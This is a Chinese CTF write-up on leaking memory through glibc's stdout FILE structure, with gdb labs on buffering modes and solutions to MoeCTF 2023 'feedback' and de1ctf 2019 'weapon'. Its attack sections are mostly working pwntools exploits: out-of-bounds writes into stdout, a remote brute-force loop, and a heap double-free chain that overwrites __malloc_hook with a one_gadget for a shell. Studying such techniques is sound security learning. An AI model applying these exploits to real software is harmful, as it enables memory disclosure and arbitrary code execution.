基础知识

bss段与stdin、out、err

  • 在有些情况，程序中的bss段其实保存着stdin、stdout、stderr这三个IO结构体的地址。
  • 大概率应该是因为这三句初始化输入输出的语句，需要用到stdin、stdout、stderr。
1
2
3
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);

image-20250721200427978

缓冲区

缓冲区是一块用于临时存储数据的区域，通常用于平衡数据生产者和数据消费者之间速度的差异。例如当我们调用printf()、fgets这种比较上层分装的IO函数。它们就会先将数据读（写）入缓冲区（这一部分是由stdin(stdout)管理），然后再从中取出数据，放进对应的地址中。当满足一定条件时就会触发缓冲区刷新也就会将在缓冲区的数据读（写）入对应的目标地址中去。这样就完成了一次与设备与内存之间的（读）写。

缓冲区刷新可以在下面这几种情况下发生：

  • 缓冲区满：当缓冲区写满的时候，系统会自动将缓冲区中的数据写入到实际的输出设备，并清空缓冲区，接着等待之后的数据进入缓冲区
  • 手动刷新：C语言程序提供一个函数fflush(FILE *stream)函数来手动刷新缓冲区。
  • 正常退出：当程序正常退出的时候（即调用glibc中的exit()，而不是直接syscall exit）此时所有打开的文件都会自动刷新缓冲区
  • 行缓冲模式：对于行缓冲模式（通常是标准输出stdout在交互模式下默认的模式），在输出新行字符\n时会自动刷新缓冲区。

输入输出缓冲模式

  • 对于上面的一个setvbuf()函数到底是什么东西呢？其实该函数是用来设置输入、输出缓冲模式的。缓冲模式分为以下三种：
    • 无缓冲模式：调用上层IO函数时会，会直接写入或读入到目标位置，不会数据不会呆在缓冲区。
    • 行缓冲模式：输入输出的数据一开始会被放入到缓冲区中，但是当缓冲区中有\n存进来就会立即刷新缓冲区，将数据写入或读入到目标地址。
    • 全缓冲模式：只有当缓冲区数据存储满后，才会进行刷新缓冲区的操作。或者当退出程序的时候libc_start_call_main会调用libc中的exit函数，这样它就会刷新缓冲区。
  • 对与这三种模式，在stdio.h头文件中有这几个函数可以用于设置的，可以在Linux中使用man函数查看,其中setvbuf()这个函数比较全面，对于全缓冲还可以设置缓冲区的地址：
    • void setbuf(FILE *stream, char *buf)
    • void setbuffer(FILE *stream, char *buf, size_t size)
    • void setlinebuf(FILE *stream)
    • int setvbuf(FILE *stream, char *buf, int mode, size_t size)

实验

  • 对于利用stdout实现地址任意读，主要关注IO_FILE的这几个成员，对于实验中的几个lab，将分别设置stdout为无缓冲、行缓冲、全缓冲模式，观察这三种模式下调用上层的输入输出函数如下的几个成员数据的变化。最后再做一个使用stdout实现任意地址读的这些数据应该如何构造的一个总结。
1
2
3
4
5
6
7
8
9
int _flags;                // 文件状态标志（高位是 _IO_MAGIC，其余是标志位）
char* _IO_read_ptr;        // 读缓冲区当前读取位置
char* _IO_read_end;        // 读缓冲区结束位置
char* _IO_read_base;       // 读缓冲区基地址
char* _IO_write_base;      // 写缓冲区基地址
char* _IO_write_ptr;       // 写缓冲区当前写入位置
char* _IO_write_end;       // 写缓冲区结束位置
char* _IO_buf_base;        // 缓冲区基地址
char* _IO_buf_end;         // 缓冲区结束位置

lab1_无缓冲模式

1
2
3
4
5
6
7
8
#include<stdio.h>
int main()
{
        setvbuf(stdout,0,_IONBF,0);
        printf("Hello world!");
        return 0;
}
// gcc -g -o lab1 lab1.c
  • 编译完之后使用gdb进行调试，在还没有调用setvbuf之前，stdout的结构体成员中的数据如下：
1
2
//其中 _flags = 0xFBAD2084
//剩下的__IO_read_ptr等都是为0

image-20250721225712382

  • 当我们调用setvbuf设置成无缓冲模式后，stdout的IO_FILE结构体如下：
1
2
// 发现_flags = 0xFBAD2087 该值被改变了
// 剩下的_IO_read_ptr一直到_IO_buf_end这边都是0x7f9603ebc6a3 <_IO_2_1_stdout_+131>

image-20250721225906943

  • 当调用printf这个上层函数会做什么操作呢？接下来看看
1
2
// _flags的值又被改变了,变成了0xFBAD2887
// 剩下的成员都没改变

image-20250721230308127

lab2_行缓冲模式

1
2
3
4
5
6
7
8
#include<stdio.h>
int main()
{
        setvbuf(stdout,0,_IOLBF,0);
        printf("Hello world_printf!");
        puts("Hello world_puts!");
        return 0;
}// gcc -g -o lab2 lab2.c
  • 接下来再看看行缓冲模式stdout的IO_FILE情况
1
2
//其中 _flags = 0xFBAD2084
//剩下的__IO_read_ptr等都是为0

image-20250721230738293

  • 当使用setvbuf()将其设置为行缓冲模式，其IO_FILE就会出现如下情形
1
2
//其中 _flags = 0xFBAD2284
// _IO_read_ptr到_IO_buf_end这些数据都是0x0

image-20250721230909353

  • 之后先调用一次printf函数，发现调用printf函数时程序并不会马上输出printf函数所要打印的值

image-20250721231058930

  • 但是stdout的IO_FILE里面的值却有变化了，并且程序还调用了malloc申请了一个chunk当做缓冲区
1
2
3
4
5
6
7
8
9
// _flags = 0xFBAD2A84
// _IO_read_ptr = 0xbc9010 堆块的起始使用位置
// _IO_read_end = 0xbc9010 堆块的起始使用位置
// _IO_read_base = 0xbc9010 堆块的起始使用位置 ,这时我们发现read的三个值都是堆块的起始位置即缓冲区的起始位置
// _IO_write_base = 0xbc9010 // 堆块的起始位置
// _IO_write_ptr = 0xbc9023	// 其实就是printf!这个!的后面一个地址
// _IO_write_end = 0xbc9010	// write结束位置(这里为堆块起始位置,应该是开了行缓冲的缘故)
// _IO_buf_base = 0xbc9010	//缓冲区起始位置
// _IO_buf_end = 0xbc9410	//缓冲区结束为止

image-20250721231212716

image-20250721231227127

  • 现在调用一下puts函数，看看会出现什么结果，调用结束后发现会将之前printf的输出内容也输出出来，这其实就是遇到\n缓冲区刷新了。

image-20250721231958096

  • 现在查看一下stdout的IO_FILE的值
1
2
// _flags = 0xFBAD2A84
// _IO_read_ptr到 _IO_buf_base都变成了0xbc9010

image-20250721232144528

lab3_全缓冲模式

1
2
3
4
5
6
7
#include<stdio.h>
int main()
{
        setvbuf(stdout,0,_IOFBF,0);
        printf("Hello world!");
        return 0;
}// gcc -g -o lab3 lab3.c
  • 在调用setvbuf之前stdout结构体如下：
1
2
//其中 _flags = 0xFBAD2084
//剩下的__IO_read_ptr等都是为0

image-20250723135400982

  • 在调用setvbuf将stdout设置为全缓冲后，stdout的结构体如下：
1
2
3
4
//其中 _flags = 0xFBAD2084
// _IO_read_ptr到_IO_write_end都为0
// 而_IO_buf_base和_IO_buf_end为 0x94c010
// 而0x94c010是调用setvbuf时,该函数调用malloc申请堆块的起始地址

image-20250723135534116

  • 当我们调用printf函数进行输出时会发现没有内容输出，再看stdout这个结构体，会发现_IO_read_ptr到_IO_write_base的值已经改变

image-20250723135909635

image-20250723135930332

lab4_任意地址读

  • 在做该实验之前，再了解一下缓冲区的宏定义，首先需要明确一点，要将一些东西附带输出出来，修改_flag位时就必须使用如下几个宏定义：
    • #define _IO_MAGIC 0xFBAD0000
    • #define _IO_CURRENTLY_PUTTING 0x800
    • #define _IO_IS_APPENDING 0x1000 /* Is appending 处于附加模式（在文件末尾追加内容） */
    • 当然其实也可以像lab2和lab3那样修改缓冲模式，但是修改_flag的值更一般是0xFBAD1800（通过比较多的实验后，得出使用0xFBAD1800这个值作为_flag的值会更好会更方便，有的时候只需要改2处或者3处即可。）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define _IO_MAGIC 0xFBAD0000           /* Magic number 文件结构体的魔数，用于标识文件结构体的有效性 */
#define _OLD_STDIO_MAGIC 0xFABC0000    /* Emulate old stdio 模拟旧的标准输入输出库（stdio）行为的魔数 */
#define _IO_MAGIC_MASK 0xFFFF0000      /* Magic mask 魔数掩码，用于从 _flags 变量中提取魔数部分 */
#define _IO_USER_BUF 1                 /* User owns buffer; don't delete it on close. 用户拥有缓冲区，不在关闭时删除缓冲区 */
#define _IO_UNBUFFERED 2               /* Unbuffered 无缓冲模式，直接进行I/O操作，不使用缓冲区 */
#define _IO_NO_READS 4                 /* Reading not allowed 不允许读取操作 */
#define _IO_NO_WRITES 8                /* Writing not allowed 不允许写入操作 */
#define _IO_EOF_SEEN 0x10              /* EOF seen 已经到达文件结尾（EOF） */
#define _IO_ERR_SEEN 0x20              /* Error seen 已经发生错误 */
#define _IO_DELETE_DONT_CLOSE 0x40     /* Don't call close(_fileno) on cleanup. 不关闭文件描述符 _fileno，在清理时不调用 close 函数 */
#define _IO_LINKED 0x80                /* Set if linked (using _chain) to streambuf::_list_all. 链接到一个链表（使用 _chain 指针），用于 streambuf::_list_all */
#define _IO_IN_BACKUP 0x100            /* In backup 处于备份模式 */
#define _IO_LINE_BUF 0x200             /* Line buffered 行缓冲模式，在输出新行时刷新缓冲区 */
#define _IO_TIED_PUT_GET 0x400         /* Set if put and get pointer logically tied. 在输出和输入指针逻辑上绑定时设置 */
#define _IO_CURRENTLY_PUTTING 0x800    /* Currently putting 当前正在执行 put 操作 */
#define _IO_IS_APPENDING 0x1000        /* Is appending 处于附加模式（在文件末尾追加内容） */
#define _IO_IS_FILEBUF 0x2000          /* Is file buffer 是一个文件缓冲区 */
#define _IO_BAD_SEEN 0x4000            /* Bad seen 遇到错误（bad flag set） */
#define _IO_USER_LOCK 0x8000           /* User lock 用户锁定，防止其他线程访问 */
  • 理解了无缓冲、行缓冲、全缓冲模式下stdout结构体成员值的一些变化后，我们是否能修改stdout结构体成员里面的值，使得在调用上层的输出函数时，能将一些libc地址等给顺带打印出来呢？接下来就看看下面的实验示例。
  • lab4主要介绍的是无缓冲模式下如何修改stdout结构体的值（一般题目都是无缓冲模式，其他模式比较少见）首先是在不修改_flag值下修改其他相关成员，修改后其实就会再程序结束调用exit()后将内容都打印出来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main()
{
        unsigned long long int * got_adr = 0x601018; // printf_got表的地址
        setvbuf(stdout,0,_IONBF,0);					  
        printf("%d",1);								 // 先调用一次printf使得printf_got存放其真实地址,如果是开了Full RELRO就不用了
        printf("\n%p",*got_adr);
        unsigned long long int addr = *got_adr + 0x374140;
        int fd = open("./flag1",0,0);
        read(fd,addr,0x12);
        unsigned long long int *ptr = stdout;
        ptr[1] = addr;// _IO_read_ptr
        ptr[2] = addr;// _IO_read_end
        ptr[3] = addr;// _IO_read_base
        ptr[4] = addr;// _IO_write_base
        ptr[5] = addr+0x12;// _IO_write_ptr
        ptr[6] = addr+0x20;// _IO_write_end
        ptr[7] = addr;// _IO_buf_base
        ptr[8] = addr+0x20;// _IO_buf_end
        printf("Hello world");
        return 0;
}

接下来调试一下，在执行printf("Hello world");的时候stdout已经被修改成了这样

image-20250723170028529

  • 调用完printf("Hello world");后发现要打印的字符串内容并没有输出

image-20250723170118863

  • 当调用exit退出的时候才会输出

image-20250723170203196

  • 接下来如果我们修改_flag为0xFBDA1800呢，接下来查看如下代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main()
{
        puts("1");
        unsigned long long int * got_adr = 0x601020; // printf_got表的地址
        setvbuf(stdout,0,_IONBF,0);                                       
        printf("%d",1);                                                          // 先调用一次printf使得printf_got存放其真实地址,如果是开了Full RELRO就不用了
        printf("\n%p",*got_adr);
        unsigned long long int addr = *got_adr + 0x374140;
        int fd = open("./flag1",0,0);
        read(fd,addr,0x12);
        unsigned long long int *ptr = stdout;
        ptr[0] = 0xFBAD1800;
//        ptr[1] = 0;// _IO_read_ptr
//        ptr[2] = 0;// _IO_read_end
//        ptr[3] = 0;// _IO_read_base
        ptr[4] = addr;// _IO_write_base
        ptr[5] = addr+0x12;// _IO_write_ptr
        ptr[6] = addr;// _IO_write_end
//        ptr[7] = 0;// _IO_buf_base
//        ptr[8] = 0;// _IO_buf_end
        puts("Hello world");
        return 0;
}
  • 编译运行一下发现是可以输出出来内容的：

image-20250723170351783

  • 接下来调试看看，在调用puts("hello world")之前已经将stdout变成了这样，其实只要修改_IO_write_ptr、base、end即可

image-20250723170519685

  • 调用执行puts("Hello world");这句后马上就能将flag输出出来，如果puts换成printf其实也是可以的。
  • 还有_IO_read相关指针其实设置为0也是可以的，_IO_buf相关指针设置为0也是能输出的

image-20250723170608003

题目1_MoeCTF_2023 feedback(改)

  • 这题给了源码，但是libc版本是2.31的，所以我稍微修改了一下源码，在glibc2.23的环境下进行编译。改编后的题目会比原题简单，主要是为了理解stdout如何实现任意地址写。
  • 改编后的代码如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
char* feedback_list[4];

//初始化缓冲区
void init()
{
        setvbuf(stdin,0,_IONBF,0);
        setvbuf(stdout,0,_IONBF,0);
        setvbuf(stderr,0,_IONBF,0);
}

//读取flag到libc
void read_flag()
{
        int fd = open("./flag", 0, 0);
        char *p;
        if(fd == -1)
        {
                puts("open flag error!");
                exit(0);
        }
        malloc(0x1000);			// 改动部分
        char* flag = malloc(0x1000);	// 改动部分
        if(!flag)
        {
                puts("malloc error!");
                exit(0);
        }

        read(fd, flag, 0x50);
        close(fd);
        printf("a gift: %p\n",flag);
}

//读取数字
int read_num()
{
        char str[0x10];
        read(0, str, 0xf);
        return atoi(str);
}

//读取字符串
void read_str(char* str)
{
        int i;
        char ch;
        char buf[0x48];
        read(0, str, 0x48);
}

//打印出你的反馈信息
void print_feedback()
{
        puts("Your feedback is: ");
        for(int i = 1; i < 4; i++)
                printf("%d. %s\n", i, feedback_list[i]);
}

void vuln()
{
        int i, index;

        //打印提示信息
        puts("Can you give me your feedback?");
        puts("There are some questions.");
        puts("1. What do you think of the quality of the challenge this time?");
        puts("2. Give me some suggestions.");
        puts("3. Please give me your ID.");

        //初始化反馈列表
        feedback_list[0] = 0;
        for(i = 1; i < 4; i++)
                feedback_list[i] = malloc(0x50);

        //输入反馈内容
        for(i = 0; i < 3; i++)
        {
                puts("Which list do you want to write?");
                index = read_num();
                if(index > 3)
                {
                        puts("No such list.");
                        continue;
                }

                puts("Then you can input your feedback.");
                read_str(feedback_list[index]);
                print_feedback();
        }
        _exit(0);
}

int main()
{
        init();
        read_flag();
        vuln();
        return 0;
}

题目1_分析1

  • 先查看一下保护机制

image-20250721185641480

  • 直接使用IDA pro逆向这个程序。main函数调用了这三个函数

image-20250723171604846

  • init其实就是初始化输入输出

image-20250723171645682

  • read_flag这个函数
    • 打开了flag文件，并且申请了两个堆块
    • 将flag文件的内容输入到其中一个堆块中
    • 将堆块的地址告诉我们

image-20250723173015944

  • vuln()函数如下：
    • puts输出没什么作用的菜单
    • 然后申请三个堆块并将三个堆块的地址放入到feedback_list中
    • 之后让用户选择一个堆块索引，并且向堆块索引中向指定堆地址写入用户想要的内容，注意用户输入的时候可以输入一个负值，导致数组越界

image-20250723171940192

  • 在每次read_str后程序还会将3个堆块中的数据全部打印出来

image-20250723172239485

  • 接下来再看看.bss段这边，其实我们会发现feedback_list上面一点其实就存放着stdout的地址，此时我们可以使用数组越界来对stdout这个FILE结构体进行修改，使得print_feedback()会将flag顺带打印出来

image-20250723172304876

题目1_分析2

  • 首先我们先将gift接收一下和feedback_list到stdout的偏移计算一下
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "neww"]
p = process('./feedback2')
#gdb.attach(p)
p.recvuntil('a gift: ')
heap_addr = p.recvline()[:-1].decode()
log.success("gitf: "+heap_addr)
heap_addr = int(heap_addr,16)
# offset_feedback_stdout:-8
flag = 0xFBAD1800
p.sendlineafter(b'Which list do you want to write?\n',b'-8')
  • 现在先来确定一下flag的位置，其实flag的起始地址就是gift发送过来的地址

image-20250723173046078

  • 那么我们其实可以设置_IO_write_base = buf，而_IO_write_ptr = buf+len(flag)至少要设置到这么多，之后_IO_write_end = buf + 0x50，注意一般输出逻辑是将从base输出到ptr，而不是从base输出到end。
  • 并且需要满足base <= ptr <=end 否则输出的时候会有很多问题。所以接下来进行如下stdout修改
1
2
3
4
5
6
7
8
9
10
payload = p64(flag)     # _flag 
payload+= p64(0)        # _IO_read_ptr
payload+= p64(0)        # _IO_read_end
payload+= p64(0)        # _IO_read_base
payload+= p64(heap_addr)  # _IO_write_base
payload+= p64(heap_addr+0x30) # _IO_write_ptr
payload+= p64(heap_addr+0x50) # _IO_write_end
gdb.attach(p)
p.sendline(payload)
p.interactive()

image-20250723173911192

  • 修改后，在调用puts("Which list do you want to write?");的是就会将flag打印出来

image-20250723174116603

题目1_exp

  • 最终的exp如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "neww"]
p = process('./feedback2')
#gdb.attach(p)
p.recvuntil('a gift: ')
heap_addr = p.recvline()[:-1].decode()
log.success("gitf: "+heap_addr)
heap_addr = int(heap_addr,16)
# offset_feedback_stdout:-8
flag = 0xFBAD1800 # _flag
p.sendlineafter(b'Which list do you want to write?\n',b'-8')
payload = p64(flag)     # _flag 
payload+= p64(0)        # _IO_read_ptr
payload+= p64(0)        # _IO_read_end
payload+= p64(0)        # _IO_read_base
payload+= p64(heap_addr)  # _IO_write_base
payload+= p64(heap_addr+0x30) # _IO_write_ptr
payload+= p64(heap_addr+0x50) # _IO_write_end
gdb.attach(p)
p.sendline(payload)
#gdb.attach(p)
p.interactive()

题目2_MoeCTF_2023 feedback(原)

  • 接下来直接使用Docker文件，在glibc2.31分析一下原题。与修改的题相比，原题还需要先泄露一下libc的地址。

题目2_分析1

  • 原题目的程序逻辑与题目1的程序逻辑差不多，主要就是read_flag这个地方，这个地方并不是将flag放到malloc申请的堆块中，而是放到libc中的某个位置，其他的都没什么变化

image-20250723220025115

题目2_分析2

  • 接下来就调试一下这个程序，调试前先查看一下题目附件看看程序保护机制如何，发现是保护全开的。

image-20250723224643587

  • 保护全开就导致了没有办法知道程序的基地址，而现在我们又不知道libc地址，所以一开始不知道libc的地址应该如何操作呢，接下来就动态调试一下。

image-20250723224733193

  • 在调试的过程中，其实可以发现_IO_write_base等一些列IO结构体成员其值其实为0x7f50e8beb723 <_IO_2_1_stdout_+131>
  • 并且write的顺序其实是_IO_write_base`_IO_write_ptr`_IO_write_end这样的一个顺序，所以溢出修改的时候其实也是按照这个修改顺序。
  • 这样一来的话其实很好操作，溢出只_IO_write_base的最末尾一个字节，由于_IO_write_ptr指向的是_IO_2_1_stdout_+131，那么其实输出的时候就会将0x7fxxxxxx00到0x7fxxxxxx723之间的数据输出

image-20250723224927792

  • 这样一来其实就能利用off-by漏洞导致libc的地址泄露，记下来先进行泄露，泄露的其实是这样的

image-20250723225357633

  • 但是在调试的时候会发现，泄露的一个0x7fxxx的地址其实是stdin的地址

image-20250723225551180

image-20250723225641201

  • 这下就成功接收到了stdin的地址

image-20250723230154124

  • 这样其实就能确定libc的基地址，从而确定puts函数的地址。现在puts的地址已经有了直接就可以计算得到flag的地址
1
2
3
4
5
6
libc_base = stdin_addr + 3600 - libc.symbols['stdin'] # 注意libc.symbols['stdin']并不是stdin结构体实例的地址还需要计算一下偏移
puts_addr = libc_base + libc.symbols['puts']
log.info("stdin_offset:"+hex(libc.symbols['stdin']))
log.info("libc_base:"+hex(libc_base))
log.info("puts_addr:"+hex(puts_addr))
p.interactive()
  • 得到flag的地址其实就可以继续修改stdout的结构体。实际上flag的真实地址与程序read的地址会有点偏差

image-20250723231520620

image-20250723231529879

  • 最后泄露出flag

image-20250723231813579

  • 打远程看看，打远程由于偏移的原因需要稍微的爆破才可以

image-20250723233156925

题目2_exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
#p = process('./feedback')
context.log_level = 'debug'
for i in range(100):
    p = remote('ip',9005)
    libc = ELF("./libc.so.6")
    p.sendlineafter(b'Which list do you want to write?\n',b'-8')
    pause()
    flag = 0xfbad1800
    payload = p64(flag)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p8(0x00)
    p.sendlineafter(b'Then you can input your feedback.',payload)
    pause()
    try:
        stdin_addr = p.recvuntil(b'\x7f')[-6:]
    except:
        p.close()
        continue
    log.success("stdin_addr:" + stdin_addr.hex())
    stdin_addr = u64(stdin_addr.ljust(8,b'\x00'))
    log.success("stdin_addr:" + hex(stdin_addr))
    #gdb.attach(p)
    libc_base = stdin_addr + 3600 - libc.symbols['stdin'] # 注意libc.symbols['stdin']并不是stdin结构体实例的地址还需要计算一下偏移
    puts_addr = libc_base + libc.symbols['puts']
    flag_addr = puts_addr +  1495776 #程序给的0x2DA5C,但是实际上并不是0x2da5c
    log.info("stdin_offset:"+hex(libc.symbols['stdin']))
    log.info("libc_base:"+hex(libc_base))
    log.info("puts_addr:"+hex(puts_addr))
    log.info("flag_addr:"+hex(flag_addr))
    payload = p64(flag)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(flag_addr)
    payload += p64(flag_addr+0x60)
    payload += p64(flag_addr+0xa0)
    pause()
    p.sendline(b'-8')
    pause()
    p.sendline(payload)
    p.interactive() # 如果能到这一步，要多按几个回车输入几个换行符才会输出flag

题目3_de1ctf_2019_weapon

  • 该题在buuctf有BUUCTF在线评测，可以去buu上打远程，这题就是与堆题结合了。
  • 考点：堆分水、unsorted_bin_attack、fast_bin_double_free、stdout泄露libc

题目3_分析1

  • 先查看一下保护机制，发现保护全开

image-20250731220222648

  • 然后再查看一下反编译的程序main函数如下，经典的堆菜单题目。

image-20250731220246169

  • 恢复结构题和修改变量和函数名称后add()函数如下：
    • 输入要申请的堆块大小和存储堆块地址和大小的索引
    • 然后往堆块中输入内容
    • 注意：这里有机会出现负索引

image-20250731222132797

  • 再来看看del()函数
    • 其实就是输入一个索引，释放索引中的堆块
    • 但是这里释放后并没有将堆块的地址设置为0，所以存在UAF漏洞

image-20250731222302585

  • 在查看一个rename相关功能：
    • 输入一个堆块索引，向堆块地址中写入内容
    • 但是这里注意该索引其实可以是负索引

image-20250731222513535

题目3_分析2

  • 这题有一个与平时堆题比较不一样的地方就是没有show功能，所以泄露地址其实就没那么容易了。但是由于存在负索引，这就使得在调用rename()函数的时候可以修改到stdout结构体，这样就能泄露libc的地址了。

  • 接下来先写一下程序的交互逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.log_level = 'debug'
p = process("./de1ctf_2019_weapon")
def add(size,index,context):
    p.sendlineafter(b'choice >>',b'1')
    #p.interactive()
    p.sendlineafter(b'size of weapon:',str(size).encode())
    p.sendlineafter(b'input index:',str(index).encode())
    p.sendafter(b'input your name:',context)

def delete(index):
    p.sendlineafter(b'choice >>',b'2')
    p.sendlineafter(b'input idx :',str(index).encode())

def rename(index,context):
    p.sendlineafter(b'choice >>',b'3')
    p.sendlineafter(b'input idx:',str(index).encode())
    p.sendafter(b'new content:',context)
p.interactive()

  • 这里先说一下大致思路：
    1. 先利用fastbin_double_free修改堆块的size位，使得程序在free()被修改size位的堆块后能被放入unsortedbin（这样才有libc的地址）
    2. 之后使用unsorted_bin_attack修改chunk->fd为main_arena+88这个地址的值，这样通过偏移计算出stdout结构体的地址，修改chunk->fd的最低俩个字节，这样就可以申请到stdout结构体附近的地址，从而可以修改stdout结构体，这样就可以造成libc的泄露
    3. 最后再使用一次fastbin_double_free，劫持malloc_hook为one_gadget，这样其实就可以getshell了。
  • 接下来详细说明，先申请5个堆块，申请的大小依次为0x50,0x50,0x60,0x50,0x50
1
2
3
4
5
add(0x50,0,b'a')
add(0x50,1,b'a')
add(0x60,2,b'a')
add(0x50,3,b'a')
add(0x50,4,b'a')

image-20250820180539562

  • 接下来先修改一下index=0的堆块内容，这个0x555555603050 其实就是我们要申请的地址
1
2
3
4
5
payload = p64(0)*9 + p64(0x61)
rename(0,payload)
delete(1)
delete(3)
delete(1)

image-20250820180652459

  • 由于堆的低位偏移是不变的，所以此时利用fastbin_double_free的时候只需要修改fd的低位即可，下图就是rename()后的fd的值，这样使用double_free时就可以绕过size的检查成功申请到目标位置。
1
2
3
4
delete(1)
delete(3)
delete(1)
rename(3,p8(0x50))

image-20250820181233136

  • 申请到目标位置后就需要修改index=1这个堆块的size位（这里修改size=0xd1，刚好是idx=1、idx=2这俩个堆块的合并位置），这样就可以构造一个堆叠，并且很轻松的可以绕过检查。
  • 构造完堆叠后，就可以将idx=1的堆块释放，此时该堆块就会被放入到unsorted_bin中，还需要将idx=2的堆块释放，这样idx=2的堆块就会被放入到fastbin[0x70]这个位置处
1
2
3
4
5
add(0x50,6,b'a')
add(0x50,7,b'a')
add(0x50,8,p64(0)+p64(0xd1))
delete(1)
delete(2)

image-20250820181811567

  • 接下来就是写main_arena+88到idx=2这个堆块的fd指针，这个时候其实申请俩个0x20大小的堆块其实就可以将main_arena+88的位置写入到fd指针，因为申请的0x20大小的堆块fastbin列表是空的，所以会去unsortedbin切割。切割后就会出现下图的情况：
1
2
add(0x20,9,b'a')
add(0x20,10,b'a')

image-20250820182305585

  • 有了libc地址后，现在就要查看一下stdout结构体的地址以及main_arena+88这个结构体：
    • 发现stdout的地址为 0x7ffff7dd2620，而main_arena+88的这个地址为0x7ffff7dd1b78
    • 如果开启随机地址偏移会发现倒数第二字节的高4位是存在随机偏移的，即stdout中0x2620中这个2是随机的，这里本地调试就关闭了随机地址偏移

image-20250820182556220

  • 接下来寻找附近有没0x7f的堆地址，这样我们就可以修改fd指针到0x7f这个地址处，申请fastbin列表中的堆块就能申请到该位置，这里选用的是下图的地址

image-20250820182959812

  • 现在我们就进行一下劫持fd、修改stdout结构体的操作
    • 下面的图一就是劫持fd的操作
    • 下面的图二就是修改stdout结构体后的结果
    • 下面的图三就说明修改stdout结构体后已经将libc的地址打印出来了，打印出来后我们就可以处理一下接收
1
2
3
4
5
6
7
8
9
10
11
rename(2,p16(0x25e5-0x8))
add(0x60,11,b'1')
add(0x60,12,b'\x00\x00\x00'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+p8(0))
leak = p.recvuntil(b'\x7f')[-6:]
print('leak--->',leak)
leak = u64(leak.ljust(8,b'\x00'))
print('leak--->',hex(leak))
libc_addr = leak - 192 - libc.symbols['_IO_2_1_stderr_']
print('libc_addr--->',hex(libc_addr))
malloc_hook = libc_addr + libc.symbols['__malloc_hook']
des_addr = malloc_hook - 0x23 #- 0x8

image-20250820183253775

image-20250820183432516

image-20250820183531609

题目3_分析3

  • 通过分析2其实就已经将libc的地址泄露出来了，接下来就是继续申请0x60大小的堆块，并且释放堆块，看看程序是否能正常运行。申请和释放完后发现可以正常运行，申请的俩个堆块如下图所示：
1
2
3
4
add(0x60,13,b'1')
add(0x60,14,b'1')
delete(13)
delete(14)

image-20250820183900295

  • 那接下来就直接构造double_free打malloc_hook即可，这里就不多说了。
1
2
3
4
5
6
7
8
9
10
11
12
13
ogg = [0x4527a,0xf03a4,0xf1247] # 由于本地和远程的libc有点不同,所以ogg不太一样
ogg_ = ogg[2] + libc_addr
delete(13)
add(0x60,15,p64(des_addr))
#rename2(13,p64(des_addr))
add(0x60,16,b'1')
add(0x60,16,b'1')
add(0x60,17,b'a'*0x13+p64(ogg_)) 
p.sendline(b'1')
p.sendline(b'32')
p.sendline(b'17')
gdb.attach(p)
p.interactive()
  • 本地打的完整exp如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process("./de1ctf_2019_weapon1")
context.terminal = ["tmux", "neww"]
def add(size,index,context):
    p.sendlineafter(b'choice >>',b'1')
    #p.interactive()
    p.sendlineafter(b'size of weapon:',str(size).encode())
    p.sendlineafter(b'input index:',str(index).encode())
    p.sendafter(b'input your name:',context)

def delete(index):
    p.sendlineafter(b'choice >>',b'2')
    p.sendlineafter(b'input idx :',str(index).encode())

def rename(index,context):
    p.sendlineafter(b'choice >>',b'3')
    p.sendlineafter(b'input idx:',str(index).encode())
    p.sendafter(b'new content:',context)

#des_addr = 0x555555602025-0x8
#rename(-4,b'1')
add(0x50,0,b'a')
add(0x50,1,b'a')
add(0x60,2,b'a')
add(0x50,3,b'a')
add(0x50,4,b'a')

payload = p64(0)*9 + p64(0x61)
rename(0,payload)
delete(1)
delete(3)
delete(1)
rename(3,p8(0x50))

#add(0x50,5,b'\x50')
add(0x50,6,b'a')
add(0x50,7,b'a')
add(0x50,8,p64(0)+p64(0xd1))
delete(1)
delete(2)
add(0x20,9,b'a')
add(0x20,10,b'a')

rename(2,p16(0x25e5-0x8))
add(0x60,11,b'1')
add(0x60,12,b'\x00\x00\x00'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+p8(0))
leak = p.recvuntil(b'\x7f')[-6:]
print('leak--->',leak)
leak = u64(leak.ljust(8,b'\x00'))
print('leak--->',hex(leak))
libc_addr = leak - 192 - libc.symbols['_IO_2_1_stderr_']
print('libc_addr--->',hex(libc_addr))
malloc_hook = libc_addr + libc.symbols['__malloc_hook']
des_addr = malloc_hook - 0x23 #- 0x8
